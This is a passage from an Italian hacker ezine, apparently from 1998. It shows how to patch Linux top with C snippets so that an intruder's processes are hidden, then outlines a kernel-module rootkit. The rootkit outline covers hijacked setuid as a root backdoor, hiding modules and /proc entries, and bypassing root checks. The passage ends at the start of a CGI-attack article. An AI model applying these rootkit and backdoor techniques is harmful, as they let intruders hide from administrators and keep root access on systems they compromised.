macchina, insospettendo quindi i root piu' attenti. Quindi forse e' il caso di dare un occhio alla funzione void do_stats che come dice il sorgente stesso calcola il numero di processi attivi. Questo lo lascio come :)))) esercizio. Vi faccio pero' vedere una possibile soluzione. Intanto gia' con un semplice if ci si mette un bel po' di root alle spalle :) Occhio che questo tipo di approccio non investe /proc in quanto tale che puo' quindi essere messo a nudo da un amministratore con le palle. O paranoico abbastanza. Quindi la funzione unsigned show_meminfo() continuera' a mostrare /proc/meminfo ... qui ci vorrebbe davvero una modifica a livello kernel per quanto riguarda /proc (vedi pacchetto filesystem-1.3.1-2) oppure per nascondere, andando a modificare getdents(2), le letture del filesystem ... Tornando a top. Cerchiamo di capire cosa diavolo faccia la funzione che dovreste ulteriormente 'patchare' per non dare eccessivamente nell'occhio ... In void do_stats c'e' questo loop: while (p[n]->pid != -1) alla riga 1128 che si occupa di passare in rassegna ogni processo per catalogarlo in base al suo status. Se esso cioe' sia S, R, Z, T . Questo viene valutato con un semplice giro di switch: this = p[n]; switch (this->state) Ovviamente possiamo basare anche qui il nostro controllo in base all'UID del processo per scremare la lista di processi definiti in base al loro status: this = p[n]; if(this->uid != BANISHED) { switch (this->state) { ..... } } In questa gretta maniera :) l'output di top ora non mostrera' neanche il numero esatto di processi S,R,Z, o T a nostro nome presenti sul sistema, come invece succedeva prima. Ora quindi mancano all'appello i nomi ed i dati dei nostri processi e la statistica sul numero dei processi in base allo stato. Per completare la modifica dobbiamo occuparci del numero totale dei processi. Alla fine del ciclo while che ho mostrato sopra c'e' un semplice incremento della variabile n: n++; } che chiude il ciclo incrementando il valore che viene stampato sullo schermo con: printf("%d processes: %d sleeping, %d running, %d zombie, " "%d stopped", n, sleeping, running, zombie, stopped); Se alla fine del nostro if aggiungiamo un else bn++ ; dopo aver aggiunto alla prima riga di do_stats() anche un bel int bn = 0; a questo punto potremo, prima del printf() aggiungere n -= bn ; per veder scomparire anche il numero totale dei processi ... WOW , vero?! NO, PER NIENTE :) D'accordo che vi ho fatto vedere per adesso quasi solo cicli if con parentesi che circondano intere funzioni dei sorgenti, ma non sempre e' cosi' fattibile. In effetti in questo caso (e potete provarlo) il flusso del programma altera la funzione nascondendo proprio il processo piu' importante: TOP !!! Qualunque sysop se ne accorgerebbe, lanciando top, di non vederlo nella sua lista, visto che e' uno dei programmi che maggiormente carica il sistema, tra le utility. Quindi cosi' non va. :) Un altro modo e' quello di mantenere delle variabili analoghe a quelle legali, da sottrarre loro per ogni nostro processo da nascondere. Ad esempio se int sleeping si occupa del numero dei processi in stato S dobbiamo aumentare hacksleeping al suo posto se il processo S ha l'UID che noi vogliamo nascondere .... alla fine potremo sottrarre le variabili tra loro. Quindi cambiamo il blocco di switch all'interno di while (da riga 1125 a 1148) di do_stats in questa maniera (mostro solo un 'case', gli altri sono analoghi): switch (this->state) { case 'S': case 'D': (this->uid != BANISHED) ? sleeping++ : bansleep++; break; In questo modo a seconda dell'UID aumenteremo di 1 il valore della variabile legale o meno. Quindi dobbiamo modificare le dichiarazioni delle variabili di do_stats perche' riflettano le nuove che ci servono: int index, total_time, i, n = 0, bn = 0; int bansleep = 0, banstop = 0, banz = 0, banrun = 0; int sleeping = 0, stopped = 0, zombie = 0, running = 0; La variabile bn dovra' contenere la somma delle variabili legali dopo che le avremo opportunamente equilibrate, tra la riga 1205 e 1209 :) : sleeping -= bansleep; running -= banrun; zombie -= banz; stopped -= banstop; bn=sleeping+running+zombie+stopped; OK, un bel ciclo for sarebbe molto piu' elegante. Chiamate uno stilista. A questo punto vi ricordate ancora della printf() di cui qualche riga sopra ? Quella che stampa tutti i numeri dei processi ? Bene, sostituite la variabile n con la nuova bn e siete a posto ! Almeno per quanto riguarda le funzionalita' base di top, intendo :) L'esercizio che lascio e' creare un VERO top troyan .... questo e' un principio. :) Ovviamente quel che state vedendo relativo a ps e top puo' essere esteso concettualmente a molti altri binari. E se state attenti alle dimensioni dei file, e alle varie funzioni da modificare in modo da pararvi tutte le possibili implicazioni del programma ... beh, capite anche voi cosa otterreste .... un rootkit ! Potreste spulciarvi i sorgenti di ls, ps, top, su, ifconfig, netstat, login, ed altro a seconda del tipo di sistema. Alla fine della fiera questi rootkit non e' che siano chissa' che. :))) Molto meglio implementare il rootkit come un LKM, ovvero un Loadable Kernel Module, o modulo kernel caricabile. Linux 2.0 ha una struttura modulare permettendo il link automatico di 'pezzi' di kernel. Qui il discorso si fa piu' ostico ... si tratta in poche parole di interporsi tra i processi in area utente e le chiamate di sistema in area kernel, creando delle NUOVE chiamate di sistema da lanciare al posto delle legali. A questo punto ogni accesso alle strutture del kernel potrebbe essere manipolato in modo da nascondere processi, zone del disco, cambiare l'esecuzione di alcuni programmi, reagire a determinate 'evenienze grilletto' ..... se avete avuto problemi di comprensione fino a qui allora questo discorso e' quasi fantascienza, per cui lo rimandiamo ad un altro articolo. (Non appena, oltretutto, saro' riuscito a codarmi quel cazzo di modulo che sto tentando, porca miseria :) ) Per ora quindi e' tutto. fusys ########################################################################### SOLO UNA NOTA: Questi NON sono exploit. Sono solo possibili implementazioni pratiche di concetti facilmente immaginabili. Non sono neanche eccezionali dal punto di vista stilistico (per i progs in C) o funzionale. Ma fungono. E qui entra in gioco il mio alias. Fusys va contrapposto a Tekne. Gli americani vanno pazzi per il latino, tonti come sono. Noi Italiani che gia' parliamo una lingua cosi' simile al latino possiamo masturbarci mentalmente con il greco :) Quindi mano ai dizionaretti di greco per i due alias suddetti. ########################################################################### ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ÈÍHACKiNGÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ PR0GETT0 CAR0NTE ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ PARTE I - áASi TE0RiCHE ED iDEE VARiE NO(C)1998 fusys A scopo informativo e ludico. Come al solito fatene quel che volete. In forma elettronica per costringervi a comprare comunque la carta igienica. CARONTE. Senza dover prendere in mano la Storia di Roma e Grecia Antica a fumetti di Enzo Biagi, sicuramente sapete tutti di chi si tratta. Il viandante dello Stige, l'accompagnatore dei defunti, il barcaiolo delle nebbie infernali ... Ad ogni modo il traghettatore. Delle anime nere. Come la vostra e la mia. In altri articoli ho nominato invano mantra ancestrali come KeRNeL e LKM ... Per qualche mese ho aspettato che la conoscenza mi cadesse tra le cerebra dall'alto del nirvana dei wizards ... che qualche traghettatore mi portasse in KeRNeL-LaND ... Ora mi son rotto di aspettare. Ora le cerebra me le concimo e coltivo da solo. Insieme a voi. Evocheremo insieme Caronte. Di certo non potro' esserlo io. :) Vengo con voialtri ... ########################################################################## NOTA: quel che segue e' il risultato on the road, tra ore di grep, editing vario, 'printk della morte' e sane letture notturne. NON SI TRATTA DI UN KERNEL HOWTO; parlero' solo di quei lati che interessano il progetto CaRoNTe. Per me e' roba nuova. Scrivendo MI aiuto a capire e cementare. Se leggere vi puo' aiutare, fatelo piu' volte. Non ho mai amato le brutte. Questo articolo segue il mio modus aencefali piu' che una scaletta. AMEN. ########################################################################## *** OBIETTIVO *** Cerchiamo di definire immediatamente l'obiettivo del progetto CaRoNTe. Il MODULO-CAROGNA :) ovvero una forma di sovvertimento, di troyan, di paraculata (chiamatela come volete) a livello KERNEL. Ovvero quanto di piu' segreto e difficilmente scopribile possibile, che ci possa nascondere agli occhi del sistema, possa lasciarci aperta qualche backdoor, e quanto altro possa servirci. OVVIAMENTE per Linux. Nel senso che smanettando nel KERNEL non si puo' sperare di rendere portabile alcunche'. Niente versione per BSD quindi. Ue' raga non ne faccio una questione di religione, e' solo che ho imparato a programmare, smanettare, unixare sotto Linux. Questo ho al momento e su questo sto hackerando. Regalatemi un CD di Free|NetBSD ed il libro con l'implementazione del 4.4 (peraltro gran bel libro) e qualcosa tiro fuori!!! :) Gran parte della descrizione delle chiamate di sistema vale per sistemi x86 ... se volete qualcosa sugli Alpha, non avete che da regalarmente uno (v.sopra) =;). *** TRIVIAL *** No. Non domande :) Ma solo qualche definizione per evitare di dilungarmi nel testo che segue. Utile per i newbie, per i mega esperti di InterNet ma all'oscuro di teoria degli OS, e un po' per tutti per ripassare. In regalo, a chi invece le sa tutte, un poster dei L0pht al concerto di Julio! =;) Julio Iglesias, ovviamente, tze .... KERNEL Il Webster italiano lo mappa come NUCLEO. Vabbe'. Siccome non stiamo parlando del MCP di Tron io lo chiamo kernel come fanno tutti. In sostanza si tratta del livello 'base' del sistema operativo su cui siete poggiati come oche gravide in un laghetto ;) . Contiene l'implementazione delle funzioni base dell'OS, come le chiamate di sistema. Il kernel della serie 2.0.x di Linux e' formato da qualche cosa come 470.000 linee in linguaggio C e 8.000 in assembler. (della serie "WOW, ATARI" (C)~1981 ;))) CHIAMATE DI SISTEMA 'Salti' all'interno di un programma verso funzioni fornite e/o inerenti al sistema operativo stesso. Un vero e proprio trasferimento di controllo temporaneo verso procedure di basso livello che si occupano dell'interfaccia tra i processi e la macchina su cui gira il sistema che li ospita. In Linux e Un!x in generale, molte chiamate di sistema sono 'mascherate' agli occhi del programmatore da funzioni in linguaggio C. Se cercate la Bibbia delle varie chiamate sotto Un!x la trovate sotto il nome "Advanced Programming in the Unix Environment" (ed ora finalmente capite che amo incondizionatamente i libri ;))) SYSTEM MODE La zona di sistema dove risiede ed opera il kernel, le cui funzioni lavorano con gli stessi privilegi. Nessun processo di nessun utente puo' direttamente manipolare dati e strutture in questa zona, se non indirettamente mediante le chiamate di sistema, spesso mascherate da funzioni in C. USER MODE La zona utente dove risiedono ed operano i processi creati dal sistema e dagli utenti durante il cosiddetto run-time, o tempo di esecuzione. LKM Acronimo di tre lettere, o TLA ;), indica un Loadable Kernel Module, o Modulo Kernel Caricabile. Come penso anche i sassi sappiano (se sono utenti Linux) con la versione 2.0.x ha fatto la comparsa in maniera stabile il kernel modulare, che permette di aggiungere codice da linkare al 'nucleo' al momento della sua effettiva richiesta, per mantenere le dimensioni del kernel vero e proprio maggiormente contenute. IPC InterProcessCommunications, o comunicazioni tra processi. In questa definizione vengono genericamente identificati tutti gli strumenti necessari a mantenere in contatto i diversi processi tra di loro, in modo da, ad esempio, non permettere la sovrascrittura dello stesso device, oppure per sincronizzare le operazioni di due accessi alla memoria ... C, linguaggio Ideato da Kernighan e Ritchie viene considerato IL linguaggio che va conosciuto comunque, oltre agli altri, per la sua capacita' di metter mano a basso livello nella macchina e scombinarla a piacimento :) . E'il linguaggio che va imparato almeno a livello base dagli aspiranti hacker visto che il 99% dei vari Un!x e dei vari exploit e' scritto in questo idioma. *** BASI TEORICHE *** Questo articolo non e' un progetto filantropico. Quindi daro' per scontato che chi legge conosca ad esempio la differenza tra UID e EUID. Che sappia quali sono le basi, almeno da utente, di un sistema Un!x. Se non lo sapete, e proprio di imparare da soli non vi va, e' finalmente uscito Linux for Dummies in italiano. E' un po' una sola :) ma il titolo rispecchia l'effettiva curva di apprendimento. DA !? A BOH!? Ogni sistema operativo fornisce una serie di servizi, cosiddetti di base, ad ogni processo che possa richiederne l'uso. Operazioni di I/O sui file, allocazione di zone di memoria, mantenimento del tempo di sistema e sua manipolazione, intercomunicazioni tra processi e quel genere di cosette di cui sinceramente non viene spesso in mente di curarsi ... Linux, un 'clone' Un!x gratuito ha il suo bel set di funzionalita' di base espresso in svariate chiamate di sistema. Come ho pero' prima detto, molte chiamate sono mascherate come funzioni della libreria C, il che confonde non poco i confini tra le chiamate di sistema e le semplici funzioni C. Una chiamata di sistema e' una transizione di un processo da user mode a system mode; in Linux questo avviene chiamando l'interrupt 0x80 insieme agli attuali valori presenti nei registri. Il Kernel a quel punto chiama (in system mode) una funzione dalla tabella _sys_call_table . Queste funzioni sono quelle che nel sorgente iniziano per sys_ La conversione tra la funzione chiamata all'interno di un programma e la chiamata di sistema apposita e'operata dalla libreria C. In Linux specialmente, e' comune la presenza di maschere delle piu' comuni chiamate di sistema nella libreria C, il che ne rende piu' complessa la differenzazione. Le funzioni che il KERNEL mette a disposizione sono essenzialmente divisibili in sei branche: a) manipolazione dei processi b) file system c) comunicazioni (IPC, socket) d) gestione della memoria e) inizializzazione f) resto del mondo La radice dei sorgenti del kernel e' /usr/src/linux/. Il grosso delle funzioni e' presente nella directory kernel ed in arch/i386/kernel se avete a disposizione i sorgenti del kernel E sono nella directory usuale. In mm e arch/i386/mm il necessario per la gestione della memoria. In ipc il necessario per gli IPC. In net per la gestione dei protocolli TCP/IP e dei socket. In drivers lo capisce anche mia nonna :) nelle altre dir guardateci voi o devo fare tutto io!? SYSTEM CALLS Ovviamente non e' mia intenzione mostrarvi tutte le chiamate di sistema, ne' tantomeno la loro implementazione. I sorgenti del kernel li avete proprio per questo. Comunque sarebbe sciocco, nell'ambito del progetto CaRoNTe, un modulo-carogna che modificasse molte chiamate di sistema. L'idea e' quella di un codice snello, che ci permetta di ottenere quel che serve, senza fronzoli, ma soprattutto che sia facilmente 'manovrabile'. Con questo intendo sia il trasporto sul sistema remoto, che la eventuale compilazione .... qui non si tratta di produrre un file core o di andare in violazione di segmentazione. Qui stiamo parlando di reset della macchina :) Se il codice crea casino in user mode, vabbe', il processo muore .... ma se spadroneggia in system mode allora butta giu' con se tutto il Kernel. Proprio come un programma Windows :) Quindi ora vedremo alcuni aspetti del funzionamento di Linux, che ci possano essere utili per la futura implementazione del MODULO-CAROGNA. Per questo, vi tediero' con alcune chiamate di sistema di alcune delle branche suddette. Ogni descrizione mostra la chiamata, l'ambiente di origine della stessa, la funzione corrispondente nel kernel, etc etc :) a) manipolazione dei processi ------------------------------------------------------------------------- call setuid POSIX, 4.3+BSD getuid file kernel/sched.c kernel/sys.c int sys_setuid(uid_t uid); int sys_getuid(void); La sys_setuid() setta lo UID di un processo a uid. Se il proprietario del processo e' root questo vale per UID, EUID, SUID e FSUID. Se invece e' un utente normale sono settati solo EUID e FSUID. Il valore di ritorno e' 0 in caso di successo, -1 in caso di errore. La sys_getuid() invece ritorna lo UID del processo chiamante. L'implementazione di queste chiamate e' decisamente semplice. Guardatevi il sorgente. errori EPERM se la funzione non e' permessa. Solo root puo' variare ogni dato del processo. In pratica setuid permette ad un processo di assumere i privilegi di un altro UID (e quindi di un altro utente del sistema). Invece getuid permette ad un programma di sapere chi diavolo lo stia eseguendo, per valutare come agire; in pratica due pesi due misure :) Se si e' root OK ti faccio fare tutto. Se sei il povero utente, NADA o magari ti faccio far pochino. Queste due chiamate sono usate spessissimo in moltissimi programmi. Sono decisamente importanti ed utili in un ambiente multiutente. CaRoNTe: "Hmmm .... e se potessimo alterare queste due chiamate di sistema ? Potremmo fare in modo che quando usiamo un programma, il nostro UID sia uguale a 0. Senza pero' essere realmente root! Questo semplicemente alterando sys_getuid(); modificando sys_setuid() invece, potremmo ottenere i privilegi di root specificando uno UID inesistente, che non ci darebbe errori di permesso come con setuid(0) !" ---------------------------------------------------------------------------- call kill POSIX file kernel/exit.c #include int sys_kill(int pid, int sig); Questa manda il segnale sig ad un processo. Se pid e' maggiore di zero, va al processo con PID uguale a pid. Se e' zero, va al gruppo di processi del chiamante. Se e' -1 Linux fa mandare il segnale a tutti i processi con PID maggiore di 1, tranne che al chiamante. Questo e' differente da POSIX che invece non specifica nulla al riguardo. Per valutare il controllo di pid date un occhio a exit.c errori EINVAL se sig non e' valido ESRCH se il processo, o il gruppo pid non esiste EPERM i privilegi del chiamante non permettono l'invio di sig A differenza di quello che si crede da utenti normali :) kill(), ed il suo front-end kill(1) non servono per uccidere un processo. Ma per inviare segnali. Che quello di default serva a terminare un processo e' un altro discorso. CaRoNTe: "Hmmm .... se agissimo a livello del KERNEL insegnandogli un nuovo segnale, potremmo poi inviarlo ai processi da noi scelti per variarne le caratteristiche e/o i privilegi !" ---------------------------------------------------------------------------- call create_module Linux delete_module init_module get_kernel_syms file kernel/module.c unsigned long sys_create_module(char *name, unsigned long size); int sys_delete_module(char *name); int sys_init_module(char *name, char *code, unsigned codesize, struct mod_routines *routines, struct symbol_table *symtab); int sys_get_kernel_syms(struct kernel_sym *table); create_module() alloca le risorse per il modulo da caricare. Genera inoltre una istanza di una struttura di tipo module, che ha come nome *name e ne setta nome, dimensioni, indirizzo di partenza della memoria allocata e lo stato. Gli altri parametri sono a NULL: struct module { struct module *next; struct module_ref *ref; struct symbol_table *symtab; const char *name; int size; void* addr; int state; void (*cleanup)(void); }; init_module() carica ed attiva il LKM, fornendo il puntatore alla struttura mod_routines per l'avvio e la chiusura del modulo: struct mod_routines { int (*init)(void); void (*cleanup)(void); }; Poi lo stato e' posto a MOD_RUNNING. delete_module() disattiva il modulo preparandolo per free_modules() cambiandone lo stato in MOD_DELETED. get_kernel_syms() serve per accedere alla tabella dei simboli del modulo. errori EPERM solo root puo' usare le prime 3 di queste chiamate ENOENT se il modulo di nome *name non esiste EEXIST se *name e' gia' in uso ENOMEM se non c'e' abbastanza memoria per il modulo EBUSY se la procedura di inizializzazione non funziona o se si richiede la cancellazione di un modulo in uso CaRoNTe: "Hmmm .... credo sia colpa di come viene riempita la struttura di tipo module se lsmod(1) e ksyms(1) possono mostrare la presenza del MODULO-CAROGNA .... forse e' il caso di fare qualcosa." ---------------------------------------------------------------------------- b) file system ------------------------------------------------------------------------------ call open POSIX file fs/open.c #include int sys_open(const char *file_name, int flag, int mode); Questa chiamata apre il file indicato da file_name per quelle operazioni specificate da flag, i cui possibili valori sono: O_RDONLY sola lettura O_WRONLY sola scrittura O_RDWR entrambe Se il file non esiste e' possibile specificare mode x'orando a flag il parametro O_CREAT. Se lo si specifica ed il file gia' esiste si ha errore se mode e' uguale a O_EXCL. Se il file esiste gia' lo si puo' troncare con O_TRUNC, oppure allungare con O_APPEND. Altri parametri sono disponibili. Confrontate la man page di open(2) con errori EMFILE troppi file aperti EACCESS se la directory non ha privilegi di esecuzione ENFILE se non ci sono descrittori liberi per il file EEXIST se il file da creare esiste gia' come directory EISDIR se la directory non puo' essere aperta o se sono settati O_CREATE o O_TRUNC ENDENT path non valido EPERM se l'inode del file non permette l'operazione richiesta CaRoNTe: "Hmmm .... potremmo fare in modo che la chiamata sia facilitata per alcuni utenti, cosi' che possano aprire file come root per poterli modificare laddove non sia loro normalmente consentito. E senza essere realmente ROOT ! " ------------------------------------------------------------------------------ call chmod POSIX file fs/open.c #include #include int sys_chmod(const char *filename, mode_t mode); chmode() setta i permessi del file *filename secondo le specifiche di mode. Questa chiamata viene implementata con la macro syscall. Se mode e' -1 viene variato solo il ctime. errori EACCESS se l'UID del processo differisce da quello del file o da 0 ENOENT se il file non esiste EROFS se il file-system e' di sola lettura EDQUOT se le quota non permettono l'operazione CaRoNTe: "Hmmm .... certo che la possibilita' di poter leggere o modificare OGNI file senza avere una shell root a disposizione non sarebbe deprecabile, per ogni buon sovvertimento del sistema" ------------------------------------------------------------------------------ call ioctl 4.3+BSD file fs/ioctl.c int sys_ioctl(unsigned int fd, unsigned int cmd, unsigned long arg); ioctl() manipola i parametri di un device. Di solito serve per controllare i driver, come ad esempio quello delle schede interne del pc. cmd specifica la funzione richiesta al driver. Macro in . Alcune sono permesse su tutti i fd: FIOCLEX close_on_exec FIONCLEX disabilita il suddetto FIONBIO se il valore specifcato da arg eguaglia 0, viene rimosso O_NONBLOCK, altrimenti viene settato FIOASYNC come per FIONBIO, ma il valore e' O_SYNC errori EBADF fd e' invalido ENOTTY se fd non si riferisce ad un driver a caratteri o se cmd non e'supportato da fd EINVAL se cmd o arg sono invalidi CaRoNTe: "Hmmm .... si potrebbe variare il comportamento dei driver senza che questo desti alcun evidente cambiamento nella configurazione del driver stesso." ---------------------------------------------------------------------------- call readdir POSIX getdents Linux file fs/read_write.c fs/readdir.c int sys_readdir(unsigned int fd, struct dirent *dirent, unsigned int count); int sys_getdents(unsigned int fd, void * dirent, unsigned int count); La chiamata sys_readdir riempie la struttura dirent con i dati della directory fd; count specifica lo spazio massimo da riempire con le strutture dirent. Ecco la vecchia struttura dirent per readdir(): struct old_linux_dirent { unsigned long d_ino; unsigned long d_offset; unsigned short d_namlen; char d_name[1]; }; Invece la nuova funzione getdents() usa due diverse strutture: struct linux_dirent { unsigned long d_ino; unsigned long d_off; unsigned short d_reclen; char d_name[1]; }; struct getdents_callback { struct linux_dirent * current_dir; struct linux_dirent * previous; int count; int error; }; La funzione getdents() legge molte istanze di dirent, almeno fin a quando le loro somme non superino count. Il valore di ritorno e' la differenza tra count ed i byte effettivamente letti. Entrambe le funzioni sono disponibili alla funzione C readdir(). La vecchia sys_readdir viene usata solo se non e' disponibile sys_getdents. errori EBADF se fd e'invalido ENOTDIR se non esiste alcuna operazione di tipo readdir() CaRoNTe: "Hmmm .... questa e' interessante. Si potrebbe fare in modo che leggendo a destra e manca 'non veda' alcune cose .... Considerate che anche /proc e' una directory !" ---------------------------------------------------------------------------- *** NONSOLOCALL *** In effetti nei sorgenti del Kernel di Linux sono presenti delle macro che vengono utilizzate all'interno di MOLTE chiamate di sistema, per snellire il codice senza aumentare il numero delle funzioni vere e proprie. Si, OK, e' vero che c'e' la solita #define MIN ma non mi riferivo proprio a quella :) Sostanzialmente le macro interessanti sono: --------------------------------------------------------------------------- macro fsuser() file #define fsuser() (current->fsuid == 0) fsuser serve per confrontare il FSUID del processo in corso, in relazione ai permessi di accesso ai file. Spesso molte funzioni in /fs/ fanno il check con fsuser e ritornano errore nel caso current->fsuid NON sia 0. CaRoNTe: "Hmmm .... non sarebbe piu' giusto che i check di fsuser() potessero essere bypassati anche da altri FSUID oltre a quello di root (0) ?!?!" --------------------------------------------------------------------------- Questa ERA una macro, ma e' ora divenuta una routine vera e propria. prima della cura: macro suser() file #define suser() (current->euid == 0) dopo la cura: inline suser() file extern inline int suser(void) { if (current->euid == 0) { current->flags |= PF_SUPERPRIV; return 1; } return 0; } suser() serve per valutare l'EUID del processo in corso. Nel caso sia uguale a 0 procede al settaggio di una flag particolare del processo, PF_SUPERPRIV che viene definita all'interno dello stesso come #define PF_SUPERPRIV 0x00000100 /* used super-user privileges */ insieme a varie altre flag. Questa definisce l'aver usato privilegi da superutente. CaRoNTe: "Hmmm .... davvero non si capisce perche' solo i valori uguali a 0 abbiano vita facile. Anche lo 0 ... non si sentira' un po' solo ?" --------------------------------------------------------------------------- *** IDEE MALSANE *** Indubbiamente questa prima parte e' stata pesante e, probabilmente, anche incomprensibile alla prima lettura. Sicuramente leggere il codice sorgente di alcunche' puo' essere ostico quando non ci si sia avvezzi. Ma la pratica aiuta moltissimo. E se leggete BFI abitualmente avete comunque l'inclinazione adatta a questo genere di cose :) Spero abbiate davvero letto il sorgente delle chiamate che ho man mano descritto. CaRoNTe, da buon traghettatore, ci ha fornito qualche spunto. Evidentemente chi sa programmare in C ed ha un minimo di conoscenza Un!x e' ora in grado di immaginare come possa esser plasmato il MODULO-CAROGNA che fa al caso nostro. Prima di tutto e' forse pero' necessario vedere anche come Linux permetta il salto da user mode a system mode mediante l'interrupt 0x80. Normalmente l'utente utilizza le funzioni della libreria C, come fork() ad esempio. Questa funzione segue le macro e le definizioni di e scrive i suoi argomenti ed il numero della chiamata di sistema in alcuni registri e poi avvia l'interrupt 0x80. Quando il servizio interrupt ritorna, il valore viene prelevato dall'appropriato registro di trasferimento e la funzione ha termine. Il lavoro vero e proprio della system call e' a cura della funzione dell'interrupt. Questa comincia all'indirizzo _system_call() contenuto nel sorgente arch/i386/kernel/entry.S . Purtroppo questo e' tutto in assembler. Ho trovato una 'traslitterazione' in C che fortunatamente fa capire cosa succeda. PSEUDO_CODE system_call(int sys_call_num, sys_call_args) { _system_call: I parametri sys_call_num e sys_call_args sono il numero della chiamata (che si trova in ) ed i suoi argomenti. Ora vengono prima salvati i registri per il processo chiamante con SAVE_ALL che e' definito in entry.S Se il numero sys_call_num e' presente in viene chiamata la funzione associata a quel numero. Questa e' contenuta in sys_call_table[] specificato anch'esso in entry.S Tralasciando il lavoro di tracciamento della chiamata, la funzione viene eseguita con (in C) errno(*sys_call_table[sys_call_num])(sys_call_args); dopodiche' vengono controllate possibili interruzioni di altri interrupt, i segnali inviati .... Alla fine i registri vengono riportati al loro stato precedente con RESTORE_ALL dopodiche' la funzione dell'interrupt ritorna con l'istruzione assembler iret. Quello che mostrero' nella seconda parte del Progetto CaRoNTe sara' lo hijack delle chiamate di sistema. Ovvero, quando qualche processo avra' bisogno di una certa chiamata, in realta' usera' la nostra invece di quella legale del sistema. Questo ci servira' per rimanere nascosti, per avere delle backdoor e per piegare il sistema al nostro modus operandi SENZA dover installare dei binari troyan, e SENZA doverci occupare di checksum, date, etc etc etc =:) La piu' semplice delle chiamate CAROGNA da realizzare e' sicuramente setuid(). Immaginate che io compili il seguente programma: #include #include int main(void) { if(!setuid(0)) system("vi /etc/passwd"); } ovviamente non funzionerebbe se io non fossi gia' root. Altrimenti quale sarebbe l'hack ? Ma se io cambiassi la riga #3 con un bel if(!setuid(HACK_ID)) e se HACK_ID fosse uno UID definito nella nostra nuova sys_setuid allora potrei far scattare la backdoor ed avere UID = GID = EUID = EGID = 0 ! Ovvero uguale a root, ed allora potrei editarmi il file /etc/passwd ed inserirmi un bell'utente ::0:0: nuovo di pacca ! Questa e' l'idea di fondo. Se, nel caso specifico, l'UID HACK_ID non fosse di nessuno nel sistema, nessuno se ne accorgerebbe, in quanto non ci sarebbero i sorgenti modificati del kernel, ma solo un modulo caricato quando ci serve con insmod(1). L'ideale sarebbe fare in modo che venga sempre caricato al boot del sistema, che sia invisibile a lsmod(1) e che eventuali letture di /proc/modules siano 'inibite' .... ad ogni modo questo fa parte dell'implementazione, trattata nella parte II. In Kernel-Land non ci sono differenze di privilegio. Ogni azione, ogni troyan che si decida di inserire potrebbe affondare la nave. Ma non ci sarebbe modo per il 95% dei root in giro di trovare la falla. Non si vedono ancora molti LKM nei vari siti di scripts ed exploits. Qualche cosa e' venuta fuori da HalfLife e Plaguez su Phrack e da Zarq su BUGTRAQ. Sicuramente gia' molti usano questo approccio. D'altra parte non e' niente di sconvolgente. L'idea di alterare il kernel invece dei binari, e' vecchia come il mondo :), o almeno come i moderni OS. Solo che fin all'avvento dei moduli, era necessario ricompilare il kernel monolitico dopo aver editato i sorgenti. Ora invece ci sono i moduli. :) *** INTERVALLO *** Per ora basta. Mi accorgo che aver spulciato e cercato di capire qualcosa nei sorgenti del KERNEL sia completamente diverso dallo spiegarlo ad altri ... hmmm, spero proprio che questa prima parte sia servita almeno ad interessare i lama->not_yet->newbie cosi' che si decidano a metter mano al C e co. Per gli altri spero di aver aggiunto qualcosa. La parte II fornira' alcuni dettagli aggiuntivi sulle possibili implementazioni, oltre al modulo vero e proprio. In realta' avevo gia' qualcosina per degli esempi. In effetti nel secondo tempo avrete nell'articolo un bel modulo CaRoGNa come IO credo possa essere utile, insieme alle spiegazioni sulla sua implementazione ed alle idee e tecniche utilizzabili. MA ci sara' nel pacchetto di BFI4 anche un bel tar.gz contenente svariate idee diverse per sovvertire in altri modi le chiamate di sistema del vostro beneamato Linux. AND THEN SOME :) FuSyS P.S. ovvio che il tar.gz gia' esiste :) P.P.S. ovvio che dovete cmq aspettare BFI4 (manovra editoriale) P.P.S.S. il tgz e CaRoGNa sono in realta' in beta test :) ############################################################################# NOTA: non lo faccio per bearmi o altro. Ma effettivamente mi e' piu' facile imparare, crescere come smanettone e divertirmi con la tecnologia se butto giu' in articoli i miei esperimenti e quant'altro mi passi per la testa. Un po' come sottolineare per memorizzare. E comunque vale il solito discorso: potete anche saltarlo sto articolo invece di menarmela ! :) ############################################################################# ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ÈÍHACKiNGÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ N0NS0L0PHŸ ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ CAZZZ0E'MAiP0SSiBiLECHELAGENTEC0N0SCAS0L0QUELL0? Cosumi DevilKiss: 3 Succhi di frutta all'arancia Skipper con tanto di can- nuccia pieghevole. 1/2 litro di Belte' al limone. Musica ascolatata DevilKiss: OffSpring a palla !!!! (Smash) Nirvana (Nevermind) Green Day (Dookie) Consumi Dark Schneider: 1 Winner Classico e una brioche cazzuta 1 litro di fanta allungato con 1 lattina di coca (caldo!!) Musica ascoltata Dark Schneider: Helloween a cannella Battalions of Fear (Blind Guardian) Nightfall in Middle Earth (Blind Guardian) Cgi.....bella storia....c'e' il phf... MA cos'e' un CGI? Dunque...CGI sta per Common Gateway Interface. E che cazz' e' una Common Gateway Interface? Mah effettivamente parrebbe una cazzatina davvero: e' un programmino scritto in C, Perl o addirittura shell script, che viene eseguito sul server con dei parametri che NOI gli passiamo. Cazzatina? MA e' fantastico!!!!!! Un programma che posso eseguire SUL server remoto!! Certo, al massimo (FORSE :) ) avro' i permessi del web server, quindi "nobody", ma non e' detto che non sia utile....eheh Infatti le cgi, come la maggior parte dei programmi che girano sui server, non sono esenti dai bug, e il fatto che siano sfruttabili da remoto ha fatto si' che molti hackers abbiano cominciato ad adottare massicciamente questo tipo di metodo per entrare nei server. Diamo un'occhiata allora a come si usano queste piccole cgi, poi il buon DevilKiss ci fara' vedere come farne un uso + maliziosetto :) Una cgi, dovendo ricevere input tramite il web server, deve necessariamente essere controllata via browser, quindi si e' adottato un 